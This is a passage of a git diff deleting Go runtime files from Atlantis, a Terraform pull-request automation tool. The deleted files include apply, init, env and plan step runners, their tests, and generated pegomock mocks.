map[string]string(nil)) - Ok(t, err) - Equals(t, "output", output) - terraform.VerifyWasCalledOnce().RunCommandWithVersion(nil, tmpDir, []string{"apply", "-input=false", "-no-color", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}, map[string]string(nil), tfVersion, "workspace") - _, err = os.Stat(planPath) - Assert(t, os.IsNotExist(err), "planfile should be deleted") -} - -// Apply ignores the -target flag when used with a planfile so we should give -// an error if it's being used with -target. -func TestRun_UsingTarget(t *testing.T) { - cases := []struct { - commentFlags []string - extraArgs []string - expErr bool - }{ - { - commentFlags: []string{"-target", "mytarget"}, - expErr: true, - }, - { - commentFlags: []string{"-target=mytarget"}, - expErr: true, - }, - { - extraArgs: []string{"-target", "mytarget"}, - expErr: true, - }, - { - extraArgs: []string{"-target=mytarget"}, - expErr: true, - }, - { - commentFlags: []string{"-target", "mytarget"}, - extraArgs: []string{"-target=mytarget"}, - expErr: true, - }, - // Test false positives. - { - commentFlags: []string{"-targethahagotcha"}, - expErr: false, - }, - { - extraArgs: []string{"-targethahagotcha"}, - expErr: false, - }, - { - commentFlags: []string{"-targeted=weird"}, - expErr: false, - }, - { - extraArgs: []string{"-targeted=weird"}, - expErr: false, - }, - } - - RegisterMockTestingT(t) - - for _, c := range cases { - descrip := fmt.Sprintf("comments flags: %s extra args: %s", - strings.Join(c.commentFlags, ", "), strings.Join(c.extraArgs, ", ")) - t.Run(descrip, func(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - planPath := filepath.Join(tmpDir, "workspace.tfplan") - err := ioutil.WriteFile(planPath, nil, 0644) - Ok(t, err) - terraform := mocks.NewMockClient() - step := runtime.ApplyStepRunner{ - TerraformExecutor: terraform, - } - - output, err := step.Run(models.ProjectCommandContext{ - Workspace: "workspace", - RepoRelDir: ".", - EscapedCommentArgs: c.commentFlags, - }, c.extraArgs, tmpDir, map[string]string(nil)) - Equals(t, "", output) - if c.expErr { - ErrEquals(t, "cannot run apply with -target because we are applying an already generated plan. Instead, run -target with atlantis plan", err) - } else { - Ok(t, err) - } - }) - } -} - -// Test that apply works for remote applies. -func TestRun_RemoteApply_Success(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - planPath := filepath.Join(tmpDir, "workspace.tfplan") - planFileContents := ` -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - - destroy - -Terraform will perform the following actions: - - - null_resource.hi[1] - - -Plan: 0 to add, 0 to change, 1 to destroy.` - err := ioutil.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0644) - Ok(t, err) - - RegisterMockTestingT(t) - tfOut := fmt.Sprintf(preConfirmOutFmt, planFileContents) + postConfirmOut - tfExec := &remoteApplyMock{LinesToSend: tfOut, DoneCh: make(chan bool)} - updater := mocks2.NewMockCommitStatusUpdater() - o := runtime.ApplyStepRunner{ - AsyncTFExec: tfExec, - CommitStatusUpdater: updater, - } - tfVersion, _ := version.NewVersion("0.11.0") - ctx := models.ProjectCommandContext{ - Log: logging.NewSimpleLogger("testing", false, logging.Debug), - Workspace: "workspace", - RepoRelDir: ".", - EscapedCommentArgs: []string{"comment", "args"}, - TerraformVersion: tfVersion, - } - output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) - <-tfExec.DoneCh - - Ok(t, err) - Equals(t, "yes\n", tfExec.PassedInput) - Equals(t, ` -2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b -null_resource.dir2[1]: Destroying... (ID: 8554368366766418126) -null_resource.dir2[1]: Destruction complete after 0s - -Apply complete! Resources: 0 added, 0 changed, 1 destroyed. -`, output) - - Equals(t, []string{"apply", "-input=false", "-no-color", "extra", "args", "comment", "args"}, tfExec.CalledArgs) - _, err = os.Stat(planPath) - Assert(t, os.IsNotExist(err), "planfile should be deleted") - - // Check that the status was updated with the run url. - runURL := "https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-PiDsRYKGcerTttV2" - updater.VerifyWasCalledOnce().UpdateProject(ctx, models.ApplyCommand, models.PendingCommitStatus, runURL) - updater.VerifyWasCalledOnce().UpdateProject(ctx, models.ApplyCommand, models.SuccessCommitStatus, runURL) -} - -// Test that if the plan is different, we error out. -func TestRun_RemoteApply_PlanChanged(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - planPath := filepath.Join(tmpDir, "workspace.tfplan") - planFileContents := ` -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - - destroy - -Terraform will perform the following actions: - - - null_resource.hi[1] - - -Plan: 0 to add, 0 to change, 1 to destroy.` - err := ioutil.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0644) - Ok(t, err) - - RegisterMockTestingT(t) - tfOut := fmt.Sprintf(preConfirmOutFmt, "not the expected plan!") + noConfirmationOut - tfExec := &remoteApplyMock{ - LinesToSend: tfOut, - Err: errors.New("exit status 1"), - DoneCh: make(chan bool), - } - o := runtime.ApplyStepRunner{ - AsyncTFExec: tfExec, - CommitStatusUpdater: mocks2.NewMockCommitStatusUpdater(), - } - tfVersion, _ := version.NewVersion("0.11.0") - - output, err := o.Run(models.ProjectCommandContext{ - Log: logging.NewSimpleLogger("testing", false, logging.Debug), - Workspace: "workspace", - RepoRelDir: ".", - EscapedCommentArgs: []string{"comment", "args"}, - TerraformVersion: tfVersion, - }, []string{"extra", "args"}, tmpDir, map[string]string(nil)) - <-tfExec.DoneCh - ErrEquals(t, `Plan generated during apply phase did not match plan generated during plan phase. -Aborting apply. - -Expected Plan: - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - - destroy - -Terraform will perform the following actions: - - - null_resource.hi[1] - - -Plan: 0 to add, 0 to change, 1 to destroy. -************************************************** - -Actual Plan: - -not the expected plan! -************************************************** - -This likely occurred because someone applied a change to this state in-between -your plan and apply commands. -To resolve, re-run plan.`, err) - Equals(t, "", output) - Equals(t, "no\n", tfExec.PassedInput) - - // Planfile should not be deleted. - _, err = os.Stat(planPath) - Ok(t, err) -} - -type remoteApplyMock struct { - // LinesToSend will be sent on the channel. - LinesToSend string - // Err will be sent on the channel after all LinesToSend. - Err error - // CalledArgs is what args we were called with. - CalledArgs []string - // PassedInput is set to the last string passed to our input channel. - PassedInput string - // DoneCh callers should wait on the done channel to ensure we're done. - DoneCh chan bool -} - -// RunCommandAsync fakes out running terraform async. -func (r *remoteApplyMock) RunCommandAsync(log *logging.SimpleLogger, path string, args []string, envs map[string]string, v *version.Version, workspace string) (chan<- string, <-chan terraform.Line) { - r.CalledArgs = args - - in := make(chan string) - out := make(chan terraform.Line) - - // We use a wait group to ensure our sending and receiving routines have - // completed. - wg := new(sync.WaitGroup) - wg.Add(2) - go func() { - wg.Wait() - // When they're done, we signal the done channel. - r.DoneCh <- true - }() - - // Asynchronously process input. - go func() { - inLine := <-in - r.PassedInput = inLine - close(in) - wg.Done() - }() - - // Asynchronously send the lines we're supposed to. - go func() { - for _, line := range strings.Split(r.LinesToSend, "\n") { - out <- terraform.Line{Line: line} - } - if r.Err != nil { - out <- terraform.Line{Err: r.Err} - } - close(out) - wg.Done() - }() - return in, out -} - -var preConfirmOutFmt = ` -Running apply in the remote backend. Output will stream here. Pressing Ctrl-C -will cancel the remote apply if its still pending. If the apply started it -will stop streaming the logs, but will not stop the apply running remotely. - -Preparing the remote apply... - -To view this run in a browser, visit: -https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-PiDsRYKGcerTttV2 - -Waiting for the plan to start... - -Terraform v0.11.11 - -Configuring remote state backend... -Initializing Terraform configuration... -2019/02/27 21:50:44 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b -Refreshing Terraform state in-memory prior to plan... -The refreshed state will be used to calculate this plan, but will not be -persisted to local or remote state storage. - -null_resource.dir2[0]: Refreshing state... (ID: 8492616078576984857) - ------------------------------------------------------------------------- -%s - -Do you want to perform these actions in workspace "atlantis-tfe-test-dir2"? - Terraform will perform the actions described above. - Only 'yes' will be accepted to approve. - - Enter a value: ` - -var postConfirmOut = ` - -2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b -null_resource.dir2[1]: Destroying... (ID: 8554368366766418126) -null_resource.dir2[1]: Destruction complete after 0s - -Apply complete! Resources: 0 added, 0 changed, 1 destroyed. -` - -var noConfirmationOut = ` - -Error: Apply discarded. -` diff --git a/server/events/runtime/env_step_runner.go b/server/events/runtime/env_step_runner.go deleted file mode 100644 index e8ba3246c4..0000000000 --- a/server/events/runtime/env_step_runner.go +++ /dev/null @@ -1,27 +0,0 @@ -package runtime - -import ( - "strings" - - "github.com/runatlantis/atlantis/server/events/models" -) - -// EnvStepRunner set environment variables. -type EnvStepRunner struct { - RunStepRunner *RunStepRunner -} - -// Run runs the env step command. -// value is the value for the environment variable. If set this is returned as -// the value. Otherwise command is run and its output is the value returned. -func (r *EnvStepRunner) Run(ctx models.ProjectCommandContext, command string, value string, path string, envs map[string]string) (string, error) { - if value != "" { - return value, nil - } - res, err := r.RunStepRunner.Run(ctx, command, path, envs) - // Trim newline from res to support running `echo env_value` which has - // a newline. We don't recommend users run echo -n env_value to remove the - // newline because -n doesn't work in the sh shell which is what we use - // to run commands. - return strings.TrimSuffix(res, "\n"), err -} diff --git a/server/events/runtime/env_step_runner_test.go b/server/events/runtime/env_step_runner_test.go deleted file mode 100644 index 62b6f255fc..0000000000 --- a/server/events/runtime/env_step_runner_test.go +++ /dev/null @@ -1,86 +0,0 @@ -package runtime_test - -import ( - "testing" - - "github.com/hashicorp/go-version" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/runtime" - "github.com/runatlantis/atlantis/server/events/terraform/mocks" - "github.com/runatlantis/atlantis/server/logging" - - . "github.com/petergtz/pegomock" - . "github.com/runatlantis/atlantis/testing" -) - -func TestEnvStepRunner_Run(t *testing.T) { - cases := []struct { - Command string - Value string - ProjectName string - ExpValue string - ExpErr string - }{ - { - Command: "echo 123", - ExpValue: "123", - }, - { - Value: "test", - ExpValue: "test", - }, - { - Command: "echo 321", - Value: "test", - ExpValue: "test", - }, - } - RegisterMockTestingT(t) - tfClient := mocks.NewMockClient() - tfVersion, err := version.NewVersion("0.12.0") - Ok(t, err) - runStepRunner := runtime.RunStepRunner{ - TerraformExecutor: tfClient, - DefaultTFVersion: tfVersion, - } - envRunner := runtime.EnvStepRunner{ - RunStepRunner: &runStepRunner, - } - for _, c := range cases { - t.Run(c.Command, func(t *testing.T) { - tmpDir, cleanup := TempDir(t) - defer cleanup() - ctx := models.ProjectCommandContext{ - BaseRepo: models.Repo{ - Name: "basename", - Owner: "baseowner", - }, - HeadRepo: models.Repo{ - Name: "headname", - Owner: "headowner", - }, - Pull: models.PullRequest{ - Num: 2, - HeadBranch: "add-feat", - BaseBranch: "master", - Author: "acme", - }, - User: models.User{ - Username: "acme-user", - }, - Log: logging.NewNoopLogger(), - Workspace: "myworkspace", - RepoRelDir: "mydir", - TerraformVersion: tfVersion, - ProjectName: c.ProjectName, - } - value, err := envRunner.Run(ctx, c.Command, c.Value, tmpDir, map[string]string(nil)) - if c.ExpErr != "" { - ErrContains(t, c.ExpErr, err) - return - } - Ok(t, err) - Equals(t, c.ExpValue, value) - }) - } -} diff --git a/server/events/runtime/init_step_runner.go b/server/events/runtime/init_step_runner.go deleted file mode 100644 index a49477acd4..0000000000 --- a/server/events/runtime/init_step_runner.go +++ /dev/null @@ -1,34 +0,0 @@ -package runtime - -import ( - version "github.com/hashicorp/go-version" - "github.com/runatlantis/atlantis/server/events/models" -) - -// InitStep runs `terraform init`. -type InitStepRunner struct { - TerraformExecutor TerraformExec - DefaultTFVersion *version.Version -} - -func (i *InitStepRunner) Run(ctx models.ProjectCommandContext, extraArgs []string, path string, envs map[string]string) (string, error) { - tfVersion := i.DefaultTFVersion - if ctx.TerraformVersion != nil { - tfVersion = ctx.TerraformVersion - } - terraformInitCmd := append([]string{"init", "-input=false", "-no-color", "-upgrade"}, extraArgs...) - - // If we're running < 0.9 we have to use `terraform get` instead of `init`. - if MustConstraint("< 0.9.0").Check(tfVersion) { - ctx.Log.Info("running terraform version %s so will use `get` instead of `init`", tfVersion) - terraformInitCmd = append([]string{"get", "-no-color", "-upgrade"}, extraArgs...) - } - - out, err := i.TerraformExecutor.RunCommandWithVersion(ctx.Log, path, terraformInitCmd, envs, tfVersion, ctx.Workspace) - // Only include the init output if there was an error. Otherwise it's - // unnecessary and lengthens the comment. - if err != nil { - return out, err - } - return "", nil -} diff --git a/server/events/runtime/init_step_runner_test.go b/server/events/runtime/init_step_runner_test.go deleted file mode 100644 index 01e2eafa29..0000000000 --- a/server/events/runtime/init_step_runner_test.go +++ /dev/null @@ -1,90 +0,0 @@ -package runtime_test - -import ( - "testing" - - version "github.com/hashicorp/go-version" - . "github.com/petergtz/pegomock" - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/mocks/matchers" - "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/runtime" - "github.com/runatlantis/atlantis/server/events/terraform/mocks" - matchers2 "github.com/runatlantis/atlantis/server/events/terraform/mocks/matchers" - . "github.com/runatlantis/atlantis/testing" -) - -func TestRun_UsesGetOrInitForRightVersion(t *testing.T) { - RegisterMockTestingT(t) - cases := []struct { - version string - expCmd string - }{ - { - "0.8.9", - "get", - }, - { - "0.9.0", - "init", - }, - { - "0.9.1", - "init", - }, - { - "0.10.0", - "init", - }, - } - - for _, c := range cases { - t.Run(c.version, func(t *testing.T) { - terraform := mocks.NewMockClient() - - tfVersion, _ := version.NewVersion(c.version) - iso := runtime.InitStepRunner{ - TerraformExecutor: terraform, - DefaultTFVersion: tfVersion, - } - When(terraform.RunCommandWithVersion(matchers.AnyPtrToLoggingSimpleLogger(), AnyString(), AnyStringSlice(), matchers2.AnyMapOfStringToString(), matchers2.AnyPtrToGoVersionVersion(), AnyString())). - ThenReturn("output", nil) - - output, err := iso.Run(models.ProjectCommandContext{ - Workspace: "workspace", - RepoRelDir: ".", - }, []string{"extra", "args"}, "/path", map[string]string(nil)) - Ok(t, err) - // When there is no error, should not return init output to PR. - Equals(t, "", output) - - // If using init then we specify -input=false but not for get. - expArgs := []string{c.expCmd, "-input=false", "-no-color", "-upgrade", "extra", "args"} - if c.expCmd == "get" { - expArgs = []string{c.expCmd, "-no-color", "-upgrade", "extra", "args"} - } - terraform.VerifyWasCalledOnce().RunCommandWithVersion(nil, "/path", expArgs, map[string]string(nil), tfVersion, "workspace") - }) - } -} - -func TestRun_ShowInitOutputOnError(t *testing.T) { - // If there was an error during init then we want the output to be returned. - RegisterMockTestingT(t) - tfClient := mocks.NewMockClient() - When(tfClient.RunCommandWithVersion(matchers.AnyPtrToLoggingSimpleLogger(), AnyString(), AnyStringSlice(), matchers2.AnyMapOfStringToString(), matchers2.AnyPtrToGoVersionVersion(), AnyString())). - ThenReturn("output", errors.New("error")) - - tfVersion, _ := version.NewVersion("0.11.0") - iso := runtime.InitStepRunner{ - TerraformExecutor: tfClient, - DefaultTFVersion: tfVersion, - } - - output, err := iso.Run(models.ProjectCommandContext{ - Workspace: "workspace", - RepoRelDir: ".", - }, nil, "/path", map[string]string(nil)) - ErrEquals(t, "error", err) - Equals(t, "output", output) -} diff --git a/server/events/runtime/mocks/matchers/models_pullrequest.go b/server/events/runtime/mocks/matchers/models_pullrequest.go deleted file mode 100644 index dd1fb0d4ee..0000000000 --- a/server/events/runtime/mocks/matchers/models_pullrequest.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsPullRequest() models.PullRequest { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.PullRequest))(nil)).Elem())) - var nullValue models.PullRequest - return nullValue -} - -func EqModelsPullRequest(value models.PullRequest) models.PullRequest { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.PullRequest - return nullValue -} diff --git a/server/events/runtime/mocks/matchers/models_repo.go b/server/events/runtime/mocks/matchers/models_repo.go deleted file mode 100644 index 418f13cfcf..0000000000 --- a/server/events/runtime/mocks/matchers/models_repo.go +++ /dev/null @@ -1,20 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -package matchers - -import ( - "reflect" - "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" -) - -func AnyModelsRepo() models.Repo { - pegomock.RegisterMatcher(pegomock.NewAnyMatcher(reflect.TypeOf((*(models.Repo))(nil)).Elem())) - var nullValue models.Repo - return nullValue -} - -func EqModelsRepo(value models.Repo) models.Repo { - pegomock.RegisterMatcher(&pegomock.EqMatcher{Value: value}) - var nullValue models.Repo - return nullValue -} diff --git a/server/events/runtime/mocks/mock_pull_approved_checker.go b/server/events/runtime/mocks/mock_pull_approved_checker.go deleted file mode 100644 index 7e3e7f507c..0000000000 --- a/server/events/runtime/mocks/mock_pull_approved_checker.go +++ /dev/null @@ -1,113 +0,0 @@ -// Code generated by pegomock. DO NOT EDIT. -// Source: github.com/runatlantis/atlantis/server/events/runtime (interfaces: PullApprovedChecker) - -package mocks - -import ( - pegomock "github.com/petergtz/pegomock" - models "github.com/runatlantis/atlantis/server/events/models" - "reflect" - "time" -) - -type MockPullApprovedChecker struct { - fail func(message string, callerSkip ...int) -} - -func NewMockPullApprovedChecker(options ...pegomock.Option) *MockPullApprovedChecker { - mock := &MockPullApprovedChecker{} - for _, option := range options { - option.Apply(mock) - } - return mock -} - -func (mock *MockPullApprovedChecker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } -func (mock *MockPullApprovedChecker) FailHandler() pegomock.FailHandler { return mock.fail } - -func (mock *MockPullApprovedChecker) PullIsApproved(baseRepo models.Repo, pull models.PullRequest) (bool, error) { - if mock == nil { - panic("mock must not be nil. Use myMock := NewMockPullApprovedChecker().") - } - params := []pegomock.Param{baseRepo, pull} - result := pegomock.GetGenericMockFrom(mock).Invoke("PullIsApproved", params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 bool - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(bool) - } - if result[1] != nil { - ret1 = result[1].(error) - } - } - return ret0, ret1 -} - -func (mock *MockPullApprovedChecker) VerifyWasCalledOnce() *VerifierMockPullApprovedChecker { - return &VerifierMockPullApprovedChecker{ - mock: mock, - invocationCountMatcher: pegomock.Times(1), - } -} - -func (mock *MockPullApprovedChecker) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockPullApprovedChecker { - return &VerifierMockPullApprovedChecker{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - } -} - -func (mock *MockPullApprovedChecker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullApprovedChecker { - return &VerifierMockPullApprovedChecker{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - inOrderContext: inOrderContext, - } -} - -func (mock *MockPullApprovedChecker) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockPullApprovedChecker { - return &VerifierMockPullApprovedChecker{ - mock: mock, - invocationCountMatcher: invocationCountMatcher, - timeout: timeout, - } -} - -type VerifierMockPullApprovedChecker struct { - mock *MockPullApprovedChecker - invocationCountMatcher pegomock.Matcher - inOrderContext *pegomock.InOrderContext - timeout time.Duration -} - -func (verifier *VerifierMockPullApprovedChecker) PullIsApproved(baseRepo models.Repo, pull models.PullRequest) *MockPullApprovedChecker_PullIsApproved_OngoingVerification { - params := []pegomock.Param{baseRepo, pull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PullIsApproved", params, verifier.timeout) - return &MockPullApprovedChecker_PullIsApproved_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} -} - -type MockPullApprovedChecker_PullIsApproved_OngoingVerification struct { - mock *MockPullApprovedChecker - methodInvocations []pegomock.MethodInvocation -} - -func (c *MockPullApprovedChecker_PullIsApproved_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { - baseRepo, pull := c.GetAllCapturedArguments() - return baseRepo[len(baseRepo)-1], pull[len(pull)-1] -} - -func (c *MockPullApprovedChecker_PullIsApproved_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) - } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) - } - } - return -} diff --git a/server/events/runtime/plan_step_runner.go b/server/events/runtime/plan_step_runner.go deleted file mode 100644 index 016754233b..0000000000 --- a/server/events/runtime/plan_step_runner.go +++ /dev/null @@ -1,325 +0,0 @@ -package runtime - -import ( - "fmt" - "io/ioutil" - "os" - "path/filepath" - "regexp" - "strings" - - version "github.com/hashicorp/go-version" - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/models" -) - -const ( - defaultWorkspace = "default" - // refreshSeparator is what separates the refresh stage from the calculated - // plan during a terraform plan. - refreshSeparator = "------------------------------------------------------------------------\n" -) - -var ( - plusDiffRegex = regexp.MustCompile(`(?m)^ {2}\+`) - tildeDiffRegex = regexp.MustCompile(`(?m)^ {2}~`) - minusDiffRegex = regexp.MustCompile(`(?m)^ {2}-`) -) - -type PlanStepRunner struct { - TerraformExecutor TerraformExec - DefaultTFVersion *version.Version - CommitStatusUpdater StatusUpdater - AsyncTFExec AsyncTFExec -} - -func (p *PlanStepRunner) Run(ctx models.ProjectCommandContext, extraArgs []string, path string, envs map[string]string) (string, error) { - tfVersion := p.DefaultTFVersion - if ctx.TerraformVersion != nil { - tfVersion = ctx.TerraformVersion - } - - // We only need to switch workspaces in version 0.9.*. In older versions, - // there is no such thing as a workspace so we don't need to do anything. - if err := p.switchWorkspace(ctx, path, tfVersion, envs); err != nil { - return "", err - } - - planFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) - planCmd := p.buildPlanCmd(ctx, extraArgs, path, tfVersion, planFile) - output, err := p.TerraformExecutor.RunCommandWithVersion(ctx.Log, filepath.Clean(path), planCmd, envs, tfVersion, ctx.Workspace) - if p.isRemoteOpsErr(output, err) { - ctx.Log.Debug("detected that this project is using TFE remote ops") - return p.remotePlan(ctx, extraArgs, path, tfVersion, planFile, envs) - } - if err != nil { - return output, err - } - return p.fmtPlanOutput(output), nil -} - -// isRemoteOpsErr returns true if there was an error caused due to this -// project using TFE remote operations. -func (p *PlanStepRunner) isRemoteOpsErr(output string, err error) bool { - if err == nil { - return false - } - return strings.Contains(output, remoteOpsErr01114) || strings.Contains(output, remoteOpsErr012) -} - -// remotePlan runs a terraform plan command compatible with TFE remote -// operations. -func (p *PlanStepRunner) remotePlan(ctx models.ProjectCommandContext, extraArgs []string, path string, tfVersion *version.Version, planFile string, envs map[string]string) (string, error) { - argList := [][]string{ - {"plan", "-input=false", "-refresh", "-no-color"}, - extraArgs, - ctx.EscapedCommentArgs, - } - args := p.flatten(argList) - output, err := p.runRemotePlan(ctx, args, path, tfVersion, envs) - if err != nil { - return output, err - } - - // If using remote ops, we create our own "fake" planfile with the - // text output of the plan. We do this for two reasons: - // 1) Atlantis relies on there being a planfile on disk to detect which - // projects have outstanding plans. - // 2) Remote ops don't support the -out parameter so we can't save the - // plan. To ensure that what gets applied is the plan we printed to the PR, - // during the apply phase, we diff the output we stored in the fake - // planfile with the pending apply output. - planOutput := output - sepIdx := strings.Index(planOutput, refreshSeparator) - if sepIdx > -1 { - planOutput = planOutput[sepIdx+len(refreshSeparator):] - } - - // We also prepend our own remote ops header to the file so during apply we - // know this is a remote apply. - err = ioutil.WriteFile(planFile, []byte(remoteOpsHeader+planOutput), 0644) - if err != nil { - return output, errors.Wrap(err, "unable to create planfile for remote ops") - } - - return p.fmtPlanOutput(output), nil -} - -// switchWorkspace changes the terraform workspace if necessary and will create -// it if it doesn't exist. It handles differences between versions. -func (p *PlanStepRunner) switchWorkspace(ctx models.ProjectCommandContext, path string, tfVersion *version.Version, envs map[string]string) error { - // In versions less than 0.9 there is no support for workspaces. - noWorkspaceSupport := MustConstraint("<0.9").Check(tfVersion) - // If the user tried to set a specific workspace in the comment but their - // version of TF doesn't support workspaces then error out. - if noWorkspaceSupport && ctx.Workspace != defaultWorkspace { - return fmt.Errorf("terraform version %s does not support workspaces", tfVersion) - } - if noWorkspaceSupport { - return nil - } - - // In version 0.9.* the workspace command was called env. - workspaceCmd := "workspace" - runningZeroPointNine := MustConstraint(">=0.9,<0.10").Check(tfVersion) - if runningZeroPointNine { - workspaceCmd = "env" - } - - // Use `workspace show` to find out what workspace we're in now. If we're - // already in the right workspace then no need to switch. This will save us - // about ten seconds. This command is only available in > 0.10. - if !runningZeroPointNine { - workspaceShowOutput, err := p.TerraformExecutor.RunCommandWithVersion(ctx.Log, path, []string{workspaceCmd, "show"}, envs, tfVersion, ctx.Workspace) - if err != nil { - return err - } - // If `show` says we're already on this workspace then we're done. - if strings.TrimSpace(workspaceShowOutput) == ctx.Workspace { - return nil - } - } - - // Finally we'll have to select the workspace. We need to figure out if this - // workspace exists so we can create it if it doesn't. - // To do this we can either select and catch the error or use list and then - // look for the workspace. Both commands take the same amount of time so - // that's why we're running select here. - _, err := p.TerraformExecutor.RunCommandWithVersion(ctx.Log, path, []string{workspaceCmd, "select", "-no-color", ctx.Workspace}, envs, tfVersion, ctx.Workspace) - if err != nil { - // If terraform workspace select fails we run terraform workspace - // new to create a new workspace automatically. - out, err := p.TerraformExecutor.RunCommandWithVersion(ctx.Log, path, []string{workspaceCmd, "new", "-no-color", ctx.Workspace}, envs, tfVersion, ctx.Workspace) - if err != nil { - return fmt.Errorf("%s: %s", err, out) - } - } - return nil -} - -func (p *PlanStepRunner) buildPlanCmd(ctx models.ProjectCommandContext, extraArgs []string, path string, tfVersion *version.Version, planFile string) []string { - tfVars := p.tfVars(ctx, tfVersion) - - // Check if env/{workspace}.tfvars exist and include it. This is a use-case - // from Hootsuite where Atlantis was first created so we're keeping this as - // an homage and a favor so they don't need to refactor all their repos. - // It's also a nice way to structure your repos to reduce duplication. - var envFileArgs []string - envFile := filepath.Join(path, "env", ctx.Workspace+".tfvars") - if _, err := os.Stat(envFile); err == nil { - envFileArgs = []string{"-var-file", envFile} - } - - argList := [][]string{ - // NOTE: we need to quote the plan filename because Bitbucket Server can - // have spaces in its repo owner names. - {"plan", "-input=false", "-refresh", "-no-color", "-out", fmt.Sprintf("%q", planFile)}, - tfVars, - extraArgs, - ctx.EscapedCommentArgs, - envFileArgs, - } - - return p.flatten(argList) -} - -// tfVars returns a list of "-var", "key=value" pairs that identify who and which -// repo this command is running for. This can be used for naming the -// session name in AWS which will identify in CloudTrail the source of -// Atlantis API calls. -// If using Terraform >= 0.12 we don't set any of these variables because -// those versions don't allow setting -var flags for any variables that aren't -// actually used in the configuration. Since there's no way for us to detect -// if the configuration is using those variables, we don't set them. -func (p *PlanStepRunner) tfVars(ctx models.ProjectCommandContext, tfVersion *version.Version) []string { - if vTwelveAndUp.Check(tfVersion) { - return nil - } - - // NOTE: not using maps and looping here because we need to keep the - // ordering for testing purposes. - // NOTE: quoting the values because in Bitbucket the owner can have - // spaces, ex -var atlantis_repo_owner="bitbucket owner". - return []string{ - "-var", - fmt.Sprintf("%s=%q", "atlantis_user", ctx.User.Username), - "-var", - fmt.Sprintf("%s=%q", "atlantis_repo", ctx.BaseRepo.FullName), - "-var", - fmt.Sprintf("%s=%q", "atlantis_repo_name", ctx.BaseRepo.Name), - "-var", - fmt.Sprintf("%s=%q", "atlantis_repo_owner", ctx.BaseRepo.Owner), - "-var", - fmt.Sprintf("%s=%d", "atlantis_pull_num", ctx.Pull.Num), - } -} - -func (p *PlanStepRunner) flatten(slices [][]string) []string { - var flattened []string - for _, v := range slices { - flattened = append(flattened, v...) - } - return flattened -} - -// fmtPlanOutput uses regex's to remove any leading whitespace in front of the -// terraform output so that the diff syntax highlighting works. Example: -// " - aws_security_group_rule.allow_all" => -// "- aws_security_group_rule.allow_all" -// We do it for +, ~ and -. -// It also removes the "Refreshing..." preamble. -func (p *PlanStepRunner) fmtPlanOutput(output string) string { - // Plan output contains a lot of "Refreshing..." lines followed by a - // separator. We want to remove everything before that separator. - sepIdx := strings.Index(output, refreshSeparator) - if sepIdx > -1 { - output = output[sepIdx+len(refreshSeparator):] - } - - output = plusDiffRegex.ReplaceAllString(output, "+") - output = tildeDiffRegex.ReplaceAllString(output, "~") - return minusDiffRegex.ReplaceAllString(output, "-") -} - -// runRemotePlan runs a terraform command that utilizes the remote operations -// backend. It watches the command output for the run url to be printed, and -// then updates the commit status with a link to the run url. -// The run url is a link to the Terraform Enterprise UI where the output -// from the in-progress command can be viewed. -// cmdArgs is the args to terraform to execute. -// path is the path to where we need to execute. -func (p *PlanStepRunner) runRemotePlan( - ctx models.ProjectCommandContext, - cmdArgs []string, - path string, - tfVersion *version.Version, - envs map[string]string) (string, error) { - - // updateStatusF will update the commit status and log any error. - updateStatusF := func(status models.CommitStatus, url string) { - if err := p.CommitStatusUpdater.UpdateProject(ctx, models.PlanCommand, status, url); err != nil { - ctx.Log.Err("unable to update status: %s", err) - } - } - - // Start the async command execution. - 